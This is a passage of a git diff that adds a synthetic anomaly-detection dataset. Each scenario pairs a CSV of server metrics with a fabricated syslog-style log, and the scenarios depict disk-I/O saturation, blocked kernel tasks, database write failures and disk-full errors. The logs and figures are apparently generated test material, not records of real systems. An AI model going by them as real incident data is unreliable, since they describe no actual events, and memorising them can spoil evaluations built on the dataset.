(run-parts --report /etc/cron.hourly) +Aug 15 14:36:40 mysqld[5432]: CRITICAL: Couldn't write to binlog: No space left on device +Aug 15 14:36:45 systemd[1]: Failed to start Flush Journal to Persistent Storage. +Aug 15 14:36:50 mysqld[5432]: CRITICAL: Couldn't write to binlog: No space left on device +Aug 15 14:37:00 mysqld[5432]: CRITICAL: Couldn't write to binlog: No space left on device +Aug 15 14:37:00 systemd[1]: Failed to start Flush Journal to Persistent Storage. +Aug 15 14:37:05 sshd[9999]: error: could not write user's authorized keys: No space left on device +Aug 15 14:37:10 mysqld[5432]: CRITICAL: Couldn't write to binlog: No space left on device +Aug 15 14:37:15 systemd[1]: Failed to start Flush Journal to Persistent Storage. +Aug 15 14:37:20 mysqld[5432]: CRITICAL: Couldn't write to binlog: No space left on device diff --git a/anom_dataset/scenario_4/anom_4_1.csv b/anom_dataset/scenario_4/anom_4_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..5e46c73a637047e6c20e8bfe7943cd4d9caa4ad7 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,18.14,48.33,31.81,0.98,1.79 +2025-07-15T14:00:05Z,13.3,44.31,22.45,0.9,0.91 +2025-07-15T14:00:10Z,8.71,46.13,31.98,0.82,1.45 +2025-07-15T14:00:15Z,12.27,45.07,18.86,0.99,1.81 +2025-07-15T14:00:20Z,10.7,44.39,20.6,0.79,1.44 +2025-07-15T14:00:25Z,5.0,45.17,28.01,0.91,1.41 +2025-07-15T14:00:30Z,17.29,48.04,23.24,0.72,1.49 +2025-07-15T14:00:35Z,24.47,42.69,25.12,1.33,0.99 +2025-07-15T14:00:40Z,19.88,45.38,27.28,0.98,0.8 +2025-07-15T14:00:45Z,16.33,40.45,33.48,1.06,1.37 +2025-07-15T14:00:50Z,14.96,45.11,32.09,0.91,1.32 +2025-07-15T14:00:55Z,11.8,45.74,24.32,0.93,1.14 +2025-07-15T14:01:00Z,16.96,47.75,23.23,0.95,1.27 +2025-07-15T14:01:05Z,8.12,45.89,23.02,0.81,1.58 +2025-07-15T14:01:10Z,6.2,44.86,32.48,1.23,1.12 +2025-07-15T14:01:15Z,7.19,46.61,27.53,1.47,1.63 +2025-07-15T14:01:20Z,10.89,45.58,24.55,0.74,1.27 +2025-07-15T14:01:25Z,17.86,42.52,15.2,1.03,1.26 +2025-07-15T14:01:30Z,23.2,43.42,33.53,0.65,1.36 +2025-07-15T14:01:35Z,12.77,44.33,26.43,0.85,0.94 +2025-07-15T14:01:40Z,15.74,44.27,17.51,1.02,1.66 +2025-07-15T14:01:45Z,14.07,46.34,33.9,0.68,0.92 +2025-07-15T14:01:50Z,17.3,43.83,29.43,0.86,1.02 +2025-07-15T14:01:55Z,14.58,42.57,27.6,0.42,1.18 +2025-07-15T14:02:00Z,15.8,48.08,33.03,0.96,1.15 +2025-07-15T14:02:05Z,11.75,45.52,23.62,1.1,1.72 +2025-07-15T14:02:10Z,14.97,43.43,20.4,0.82,0.91 +2025-07-15T14:02:15Z,17.05,42.72,21.16,1.16,1.01 +2025-07-15T14:02:20Z,18.35,45.15,27.92,0.94,1.03 +2025-07-15T14:02:25Z,9.14,43.73,29.18,0.68,1.22 +2025-07-15T14:02:30Z,8.31,46.47,95.0,0.42,0.66 +2025-07-15T14:02:35Z,20.76,46.94,100.0,0.45,0.2 +2025-07-15T14:02:40Z,29.88,46.38,100.0,0.38,0.44 +2025-07-15T14:02:45Z,36.09,41.82,98.19,0.49,0.48 +2025-07-15T14:02:50Z,57.74,46.02,98.84,0.24,0.6 +2025-07-15T14:02:55Z,66.35,42.68,96.19,0.16,0.53 +2025-07-15T14:03:00Z,67.79,46.55,97.13,0.25,0.4 +2025-07-15T14:03:05Z,37.32,40.51,97.75,0.37,0.29 +2025-07-15T14:03:10Z,65.26,45.42,97.29,0.24,0.32 +2025-07-15T14:03:15Z,50.54,43.51,98.37,0.25,0.23 +2025-07-15T14:03:20Z,57.42,45.99,98.71,0.11,0.47 +2025-07-15T14:03:25Z,55.62,46.79,100.0,0.21,0.33 +2025-07-15T14:03:30Z,57.02,41.21,97.68,0.25,0.34 +2025-07-15T14:03:35Z,60.84,41.04,99.51,0.45,0.26 +2025-07-15T14:03:40Z,71.87,43.45,98.71,0.44,0.4 +2025-07-15T14:03:45Z,64.43,46.51,97.81,0.27,0.57 +2025-07-15T14:03:50Z,81.78,46.13,100.0,0.43,0.58 +2025-07-15T14:03:55Z,62.01,42.62,100.0,0.45,0.38 +2025-07-15T14:04:00Z,54.69,43.35,99.94,0.42,0.26 +2025-07-15T14:04:05Z,52.16,46.07,99.09,0.1,0.64 +2025-07-15T14:04:10Z,72.28,43.62,99.88,0.1,0.36 +2025-07-15T14:04:15Z,43.27,42.43,97.03,0.24,0.59 +2025-07-15T14:04:20Z,61.76,46.14,100.0,0.5,0.59 +2025-07-15T14:04:25Z,68.96,43.51,98.36,0.31,0.42 +2025-07-15T14:04:30Z,59.17,47.03,94.19,0.33,0.69 +2025-07-15T14:04:35Z,63.52,42.52,94.62,0.26,0.4 +2025-07-15T14:04:40Z,64.01,41.52,97.52,0.1,0.44 +2025-07-15T14:04:45Z,58.45,42.87,100.0,0.34,0.3 +2025-07-15T14:04:50Z,58.0,48.95,93.94,0.17,0.79 +2025-07-15T14:04:55Z,60.88,46.83,98.68,0.18,0.59 +2025-07-15T14:05:00Z,41.53,44.7,95.73,0.1,0.61 +2025-07-15T14:05:05Z,50.0,47.78,97.84,0.4,0.68 +2025-07-15T14:05:10Z,50.04,44.69,98.38,0.17,0.53 +2025-07-15T14:05:15Z,45.54,42.03,96.05,0.35,0.79 +2025-07-15T14:05:20Z,67.05,45.63,99.98,0.28,0.45 +2025-07-15T14:05:25Z,18.38,45.11,94.26,0.31,0.74 +2025-07-15T14:05:30Z,37.13,47.06,99.19,0.1,0.2 +2025-07-15T14:05:35Z,48.88,43.72,99.01,0.37,0.56 +2025-07-15T14:05:40Z,50.51,44.81,100.0,0.55,1.07 +2025-07-15T14:05:45Z,49.23,45.94,99.24,0.38,0.51 +2025-07-15T14:05:50Z,10.67,42.61,27.35,0.74,1.27 +2025-07-15T14:05:55Z,8.98,46.63,20.72,0.88,1.42 +2025-07-15T14:06:00Z,17.02,45.05,25.09,0.98,1.46 +2025-07-15T14:06:05Z,9.72,42.5,27.66,0.86,1.48 +2025-07-15T14:06:10Z,16.97,44.54,18.91,1.05,1.75 +2025-07-15T14:06:15Z,14.15,43.1,21.3,0.85,1.05 +2025-07-15T14:06:20Z,16.39,44.88,32.98,0.85,1.51 +2025-07-15T14:06:25Z,9.92,44.36,35.0,0.59,1.17 +2025-07-15T14:06:30Z,10.98,46.49,28.25,0.47,0.7 +2025-07-15T14:06:35Z,22.73,40.71,24.02,1.29,1.63 +2025-07-15T14:06:40Z,15.85,47.09,21.61,1.05,1.05 +2025-07-15T14:06:45Z,11.07,44.28,26.72,0.84,0.83 +2025-07-15T14:06:50Z,21.04,46.43,15.27,0.81,1.18 +2025-07-15T14:06:55Z,12.92,43.54,31.53,0.68,0.4 +2025-07-15T14:07:00Z,16.93,45.42,19.93,1.05,1.45 +2025-07-15T14:07:05Z,6.57,50.0,21.71,1.01,1.24 +2025-07-15T14:07:10Z,12.82,43.77,22.6,1.27,1.53 +2025-07-15T14:07:15Z,22.99,44.73,30.65,1.39,1.25 +2025-07-15T14:07:20Z,19.56,42.1,22.3,0.98,1.62 +2025-07-15T14:07:25Z,19.41,44.63,19.29,0.98,1.46 diff --git a/anom_dataset/scenario_4/anom_4_1.log b/anom_dataset/scenario_4/anom_4_1.log new file mode 100644 index 0000000000000000000000000000000000000000..1940461157015638339c9eadced747aa5eaef658 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_1.log @@ -0,0 +1,38 @@ +Jul 15 14:00:00 kubelet[2345]: INFO Liveness probe for container "api-gateway" succeeded +Jul 15 14:00:00 systemd[1]: Started Session 123 of user webadmin. +Jul 15 14:00:35 cron[12345]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:00:50 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 15 14:01:10 sshd[5432]: Accepted publickey for admin from 10.0.2.15 port 45822 ssh2 +Jul 15 14:01:40 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 15 14:01:45 sshd[5432]: Accepted publickey for admin from 10.0.2.15 port 45822 ssh2 +Jul 15 14:02:20 cron[12345]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:02:30 database-backup.sh[18765]: INFO Starting database backup process. +Jul 15 14:02:30 kernel[0]: Tainted: G W 5.4.0-109-generic #123-Ubuntu +Jul 15 14:02:40 file-processor[9012]: WARN File processing for batch "batch-12345.zip" is taking longer than expected. Check disk I/O. +Jul 15 14:02:55 mysqld[3451]: ERROR [InnoDB] Failed to write to binary log. Disk space may be low or I/O is slow. +Jul 15 14:02:55 systemd[1]: Finished Daily apt download activities. +Jul 15 14:03:00 file-processor[9012]: WARN File processing for batch "batch-12345.zip" is taking longer than expected. Check disk I/O. +Jul 15 14:03:20 mysqld[3451]: ERROR [InnoDB] Failed to write to binary log. Disk space may be low or I/O is slow. +Jul 15 14:03:20 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 15 14:03:30 sshd[5432]: Accepted publickey for admin from 10.0.2.15 port 45822 ssh2 +Jul 15 14:03:40 api-server[8080]: ERROR Request timeout: failed to read from upstream database in 30s. +Jul 15 14:03:45 mysqld[3451]: ERROR [InnoDB] Failed to write to binary log. Disk space may be low or I/O is slow. +Jul 15 14:04:00 mysqld[3451]: WARN [InnoDB] A long-running query is causing performance degradation. +Jul 15 14:04:05 sshd[5432]: Accepted publickey for admin from 10.0.2.15 port 45822 ssh2 +Jul 15 14:04:10 mysqld[3451]: ERROR [InnoDB] Failed to write to binary log. Disk space may be low or I/O is slow. +Jul 15 14:04:10 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 15 14:04:20 file-processor[9012]: WARN File processing for batch "batch-12345.zip" is taking longer than expected. Check disk I/O. +Jul 15 14:04:35 api-server[8080]: ERROR Request timeout: failed to read from upstream database in 30s. +Jul 15 14:04:40 file-processor[9012]: WARN File processing for batch "batch-12345.zip" is taking longer than expected. Check disk I/O. +Jul 15 14:04:40 systemd[1]: Finished Daily apt download activities. +Jul 15 14:05:00 database-backup.sh[18765]: INFO Starting database backup process. +Jul 15 14:05:00 kernel[0]: INFO: task kworker/0:1H:89 blocked for more than 120 seconds. +Jul 15 14:05:15 systemd[1]: Started Session 123 of user webadmin. +Jul 15 14:05:20 mysqld[3451]: ERROR [InnoDB] Failed to write to binary log. Disk space may be low or I/O is slow. +Jul 15 14:05:25 kernel[0]: INFO: task kworker/0:1H:89 blocked for more than 120 seconds. +Jul 15 14:05:40 file-processor[9012]: WARN File processing for batch "batch-12345.zip" is taking longer than expected. Check disk I/O. +Jul 15 14:05:50 cron[12345]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:05:50 kubelet[2345]: INFO Liveness probe for container "api-gateway" succeeded +Jul 15 14:06:25 sshd[5432]: Accepted publickey for admin from 10.0.2.15 port 45822 ssh2 +Jul 15 14:06:40 database-backup.sh[18765]: INFO Starting database backup process. +Jul 15 14:07:00 cron[12345]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/anom_dataset/scenario_4/anom_4_10.csv b/anom_dataset/scenario_4/anom_4_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..3b233070a48df85c0eff3511c698e1af5e7352c4 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,17.43,35.73,38.76,1.3,1.46 +2025-07-02T11:00:05Z,18.97,37.04,33.89,1.06,1.51 +2025-07-02T11:00:10Z,15.25,37.09,37.77,1.34,1.67 +2025-07-02T11:00:15Z,17.69,41.16,32.48,1.18,1.62 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+2025-07-02T11:07:00Z,22.05,44.72,31.32,1.1,1.52 +2025-07-02T11:07:05Z,15.41,36.13,49.36,0.87,1.13 +2025-07-02T11:07:10Z,22.63,42.35,36.77,1.06,1.29 +2025-07-02T11:07:15Z,16.18,42.0,49.32,1.15,1.07 +2025-07-02T11:07:20Z,16.45,35.75,45.65,1.06,1.37 +2025-07-02T11:07:25Z,22.83,43.19,48.27,1.17,1.26 diff --git a/anom_dataset/scenario_4/anom_4_10.log b/anom_dataset/scenario_4/anom_4_10.log new file mode 100644 index 0000000000000000000000000000000000000000..9c3f4b9992c5024384b3f747420d12dace468c2a --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_10.log @@ -0,0 +1,16 @@ +Jul 02 11:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:00:25 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 11:00:50 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:01:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:02:05 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 11:02:30 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:03:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:04:10 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:04:35 kernel: [ 1751454275.00] INFO: task mysqld:1234 blocked for more than 120 seconds. +Jul 02 11:04:35 kernel: [ 1751454275.00] Tainted: P O 4.15.0-142-generic #146-Ubuntu +Jul 02 11:04:35 app[5678]: WARN: Database query exceeded 10s timeout: 'SELECT data FROM large_table WHERE id=...;' +Jul 02 11:05:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:05:50 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:06:15 kernel: [ 1751454375.00] INFO: task backup.sh:5678 blocked for more than 120 seconds. +Jul 02 11:06:15 app[5678]: ERROR: Failed to write to file '/var/log/app.log' after 3 retries, operation timed out. +Jul 02 11:06:40 kubelet[2345]: INFO routine sync completed for pod web-app diff --git a/anom_dataset/scenario_4/anom_4_11.csv b/anom_dataset/scenario_4/anom_4_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..616cddb015236aa9f025009cb84c8086a3b8112a --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T14:00:00Z,12.380932340785147,40.99055076128276,50.0,0.6550894045882751,1.1672075726310838 +2025-08-22T14:00:05Z,16.221246652332653,39.16922505960891,42.1751524249094,0.6080566100979721,1.446312910865609 +2025-08-22T14:00:10Z,11.53533124416036,39.48516576174725,30.76837008818576,1.0300484770363936,1.1698576822435656 +2025-08-22T14:00:15Z,16.197366518238994,40.0057768206897,24.825516746708878,0.5894779123224702,1.0751828258947609 +2025-08-22T14:00:20Z,8.647803697907138,41.16797422925593,19.06291168213834,0.7714917886098656,1.0555919517347312 +2025-08-22T14:00:25Z,15.21876566169724,38.16030152740399,19.191511068549605,0.7284253517219396,1.1612783748256048 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completed for pod web-app +Aug 22 14:00:00 systemd[1]: Started Session 150 of user ubuntu. +Aug 22 14:00:25 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.108 port 55294 ssh2 +Aug 22 14:00:50 systemd[1]: Started Session 160 of user ubuntu. +Aug 22 14:01:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 22 14:01:40 CRON[11432]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 22 14:01:40 systemd[1]: Started Session 170 of user ubuntu. +Aug 22 14:02:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 22 14:02:30 systemd[1]: Started Session 180 of user ubuntu. +Aug 22 14:02:40 postgres[4512]: WARNING: query on 'user_activity' is taking longer than 10 seconds +Aug 22 14:03:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 22 14:03:10 app-server[3321]: ERROR: Database query failed: timeout expired +Aug 22 14:03:10 postgres[4512]: ERROR: statement timeout +Aug 22 14:03:20 systemd[1]: Started Session 190 of user ubuntu. +Aug 22 14:03:45 app-server[3321]: INFO: File upload operation initiated by user 'testuser' +Aug 22 14:04:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 22 14:04:10 app-server[3321]: WARNING: File write operation to '/mnt/data/uploads' is taking longer than 30 seconds +Aug 22 14:04:10 systemd[1]: Started Session 200 of user ubuntu. +Aug 22 14:04:30 kernel: [1811.234567] INFO: task kworker/0:1:1234 blocked for more than 120 seconds. +Aug 22 14:04:30 kernel: [1811.234570] Tainted: G W 5.4.0-150-generic #167-Ubuntu +Aug 22 14:04:30 kernel: [1811.234572] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Aug 22 14:05:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 22 14:05:00 systemd[1]: Started Session 210 of user ubuntu. +Aug 22 14:05:25 postgres[4512]: WARNING: query on 'analytics_cache' is taking longer than 15 seconds +Aug 22 14:05:50 systemd[1]: Started Session 220 of user ubuntu. +Aug 22 14:06:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 22 14:06:40 app-server[3321]: ERROR: Failed to write session data to disk: I/O error +Aug 22 14:06:40 systemd[1]: Started Session 230 of user ubuntu. +Aug 22 14:07:00 kubelet[2345]: INFO routine sync completed for pod web-app diff --git a/anom_dataset/scenario_4/anom_4_12.csv b/anom_dataset/scenario_4/anom_4_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..86663fe9de9a62995f4df007f4d3450aab33f680 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,12.38,37.55,22.58,0.8,1.4 +2025-07-02T10:00:05Z,16.22,37.14,32.45,0.72,1.07 +2025-07-02T10:00:10Z,11.54,41.41,33.95,0.55,1.46 +2025-07-02T10:00:15Z,16.2,37.06,20.99,0.78,1.19 +2025-07-02T10:00:20Z,8.65,38.94,24.08,0.93,1.45 +2025-07-02T10:00:25Z,15.22,38.57,23.46,0.63,1.45 +2025-07-02T10:00:30Z,18.2,40.14,32.42,0.53,1.24 +2025-07-02T10:00:35Z,18.36,37.62,17.27,0.84,0.99 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+2025-07-02T10:07:20Z,54.38,46.22,85.97,0.66,1.38 +2025-07-02T10:07:25Z,46.95,41.05,91.01,0.53,1.07 diff --git a/anom_dataset/scenario_4/anom_4_12.log b/anom_dataset/scenario_4/anom_4_12.log new file mode 100644 index 0000000000000000000000000000000000000000..d25254010df37fd680bd88c3445a77dbc731d502 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_12.log @@ -0,0 +1,11 @@ +Jul 02 10:00:01 systemd[1]: Started Session 1 of user ubuntu. +Jul 02 10:00:05 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:01:20 CRON[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:02:00 webapp[4312]: INFO: User 'admin' logged in successfully. +Jul 02 10:03:20 database[5421]: WARNING: Slow query detected (15.2s): SELECT * FROM user_activity WHERE date > '2025-07-01' +Jul 02 10:04:35 kernel: [12345.678] INFO: task kworker/0:1:123 blocked for more than 120 seconds. +Jul 02 10:04:35 kernel: [12345.679] Not tainted 5.4.0-150-generic #167-Ubuntu +Jul 02 10:04:35 kernel: [12345.680] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Jul 02 10:05:00 CRON[11890]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:05:50 file-backup[6789]: ERROR: Timeout while attempting to write to /mnt/backups/daily/backup.tar.gz +Jul 02 10:06:30 systemd[1]: session-1.scope: Succeeded. diff --git a/anom_dataset/scenario_4/anom_4_13.csv b/anom_dataset/scenario_4/anom_4_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..528bf7042ce60dd046d9e308e927bf1ee08c4a5f --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,17.483570765056164,41.65949365724266,28.12833673882503,1.2882546578132232,1.6558039542723517 +2025-07-02T10:00:05Z,14.308678494144077,41.15745722395201,20.714212217918586,0.7128275697641121,1.9598216739007732 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b/anom_dataset/scenario_4/anom_4_13.log new file mode 100644 index 0000000000000000000000000000000000000000..d5b8c1a848d567a80799926c54193bd53506f45b --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_13.log @@ -0,0 +1,32 @@ +Jul 02 10:00:02 systemd[1]: Started Session 102 of user ubuntu. +Jul 02 10:00:05 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.102 port 55234 ssh2 +Jul 02 10:00:10 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:00:40 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:01:02 systemd[1]: Started Session 162 of user ubuntu. +Jul 02 10:01:20 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:01:35 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.102 port 55234 ssh2 +Jul 02 10:02:00 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:02:02 systemd[1]: Started Session 222 of user ubuntu. +Jul 02 10:02:30 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:02:35 kernel: [12345.678] INFO: task mysqld:123 blocked for more than 120 seconds. +Jul 02 10:02:35 kernel: [12345.679] Not tainted 5.4.0-100-generic #113-Ubuntu +Jul 02 10:02:35 kernel: [12345.680] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Jul 02 10:03:02 systemd[1]: Started Session 282 of user ubuntu. +Jul 02 10:03:05 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.102 port 55234 ssh2 +Jul 02 10:03:05 database-app[5432]: WARN: Slow query detected (32.45s): SELECT * FROM user_activity WHERE date > '2025-07-01' +Jul 02 10:03:20 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:03:40 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:04:02 systemd[1]: Started Session 342 of user ubuntu. +Jul 02 10:04:10 file-processor[6789]: ERROR: Timeout while writing to /data/output/processed_file.tmp +Jul 02 10:04:35 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.102 port 55234 ssh2 +Jul 02 10:04:40 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:04:50 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:05:02 systemd[1]: Started Session 402 of user ubuntu. +Jul 02 10:06:00 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:06:00 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:06:02 systemd[1]: Started Session 462 of user ubuntu. +Jul 02 10:06:05 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.102 port 55234 ssh2 +Jul 02 10:06:20 kernel: [12585.111] INFO: task backup.sh:456 blocked for more than 120 seconds. +Jul 02 10:07:02 systemd[1]: Started Session 522 of user ubuntu. +Jul 02 10:07:10 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:07:20 nginx[1123]: GET /api/status HTTP/1.1 200 OK diff --git a/anom_dataset/scenario_4/anom_4_14.csv b/anom_dataset/scenario_4/anom_4_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..fa5ed7a3a18ef8a18d4f9c898513d35d06242671 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_14.csv @@ -0,0 +1,91 @@ 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+2025-07-02T12:06:35Z,79.99,38.72,99.11,0.15,0.49 +2025-07-02T12:06:40Z,76.06,36.79,95.51,0.17,0.43 +2025-07-02T12:06:45Z,15.52,44.43,34.21,0.99,1.18 +2025-07-02T12:06:50Z,16.59,38.05,28.19,0.65,1.53 +2025-07-02T12:06:55Z,6.57,36.98,30.83,0.69,1.14 +2025-07-02T12:07:00Z,18.96,40.39,33.0,0.87,0.56 +2025-07-02T12:07:05Z,22.87,38.33,31.82,0.78,1.08 +2025-07-02T12:07:10Z,18.5,39.9,30.74,0.54,0.89 +2025-07-02T12:07:15Z,5.93,38.28,29.76,0.9,1.53 +2025-07-02T12:07:20Z,5.11,40.17,32.93,0.78,1.14 +2025-07-02T12:07:25Z,17.15,39.79,32.26,1.03,1.53 diff --git a/anom_dataset/scenario_4/anom_4_14.log b/anom_dataset/scenario_4/anom_4_14.log new file mode 100644 index 0000000000000000000000000000000000000000..f3c0b5d261499e507b282925ccf4f8d02d7889e2 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_14.log @@ -0,0 +1,18 @@ +Jul 02 12:00:12 systemd[1]: Started Session 5 of user db_admin. +Jul 02 12:00:25 sshd[15234]: Accepted publickey for db_admin from 10.0.1.5 port 60123 ssh2 +Jul 02 12:01:05 kernel: [12345.678] audit: type=1400 audit(1751496065.123:45): apparmor="ALLOWED" operation="open" profile="/usr/sbin/mysqld" name="/proc/7/status" pid=16000 comm="mysqld" requested_mask="r" denied_mask="r" fsuid=111 ouid=111 +Jul 02 12:02:01 CRON[15301]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 02 12:03:02 mysqld[16000]: INFO Creating new binlog file binlog.000123 +Jul 02 12:03:23 mysqld[16000]: WARNING Query execution was slow: 5.23 seconds, query: SELECT * FROM user_activity WHERE date > '2025-07-01' +Jul 02 12:03:38 mysqld[16000]: WARNING Query execution was slow: 8.91 seconds, query: UPDATE large_table SET status='processed' WHERE id < 1000000; +Jul 02 12:04:05 kernel: [12485.111] INFO: task mysqld:16000 blocked for more than 120 seconds. +Jul 02 12:04:06 kernel: [12485.112] Not tainted 5.4.0-150-generic #167-Ubuntu +Jul 02 12:04:07 kernel: [12485.113] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Jul 02 12:04:08 kernel: [12485.114] mysqld D ffff9a9a9a9a9a9a 0 16000 1 0x00000080 +Jul 02 12:04:09 kernel: [12485.115] Call Trace: +Jul 02 12:04:10 kernel: [12485.116] io_schedule+0x12/0x40 +Jul 02 12:04:11 kernel: [12485.117] __generic_file_write_iter+0x13c/0x1a0 +Jul 02 12:04:12 kernel: [12485.118] ext4_file_write_iter+0x10d/0x430 [ext4] +Jul 02 12:04:13 kernel: [12485.119] ... +Jul 02 12:05:30 mysqld[16000]: ERROR Thead 32: I/O error writing to file ./db/table.ibd +Jul 02 12:06:50 systemd[1]: Starting Daily apt upgrade and clean activities... diff --git a/anom_dataset/scenario_4/anom_4_15.csv b/anom_dataset/scenario_4/anom_4_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..7c36c4818afcd7ce7b258c44b448f6d8aad29bc2 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,16.49,40.19,28.13,1.09,1.36 +2025-07-02T11:00:05Z,14.59,41.94,20.71,0.51,1.66 +2025-07-02T11:00:10Z,16.94,38.6,19.65,1.03,1.17 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+2025-07-02T11:06:55Z,26.92,41.36,98.84,0.31,0.85 +2025-07-02T11:07:00Z,26.3,40.76,97.02,0.3,0.2 +2025-07-02T11:07:05Z,27.48,42.59,97.27,0.3,0.84 +2025-07-02T11:07:10Z,68.59,39.64,97.11,0.33,0.54 +2025-07-02T11:07:15Z,30.48,42.28,96.7,0.28,0.48 +2025-07-02T11:07:20Z,28.16,38.58,98.07,0.21,0.39 +2025-07-02T11:07:25Z,31.54,45.75,96.75,0.22,0.58 diff --git a/anom_dataset/scenario_4/anom_4_15.log b/anom_dataset/scenario_4/anom_4_15.log new file mode 100644 index 0000000000000000000000000000000000000000..e58d7b0fc0235fe0fd35a2572e1f21f14c7d8470 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_15.log @@ -0,0 +1,14 @@ +Jul 02 11:00:05 systemd[1]: Started Session 5 of user db_admin. +Jul 02 11:00:15 sshd[15421]: Accepted publickey for db_admin from 10.0.2.5 port 49822 ssh2 +Jul 02 11:00:40 CRON[15455]: (root) CMD ( /usr/lib/i386-linux-gnu/sa/sa1 1 1) +Jul 02 11:01:15 nginx[3451]: GET /dashboard/data?range=1h HTTP/1.1 200 OK +Jul 02 11:02:05 kubelet[2345]: INFO Liveness probe succeeded for pod database-proxy +Jul 02 11:02:55 app-worker[8765]: WARNING File operation 'write_cache.tmp' is taking longer than expected (12.5s). +Jul 02 11:03:30 postgres[5432]: WARNING Query on table 'user_events' is taking an unusually long time to complete: 18345 ms. +Jul 02 11:04:10 gunicorn[1239]: [CRITICAL] WORKER TIMEOUT (pid:1250) +Jul 02 11:04:50 kernel: [18345.678] INFO: task postgres:5432 blocked for more than 120 seconds. +Jul 02 11:04:50 kernel: [18345.679] Tainted: P O 5.4.0-100-generic #113-Ubuntu +Jul 02 11:04:50 kernel: [18345.680] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Jul 02 11:05:25 app-worker[8766]: ERROR Timeout while trying to write to disk for session 'xyz'. Data loss may occur. +Jul 02 11:06:15 postgres[5432]: ERROR could not write to temporary file: No space left on device +Jul 02 11:07:05 systemd[1]: session-5.scope: A job field was set which is not supported by this unit type. diff --git a/anom_dataset/scenario_4/anom_4_16.csv b/anom_dataset/scenario_4/anom_4_16.csv new file mode 100644 index 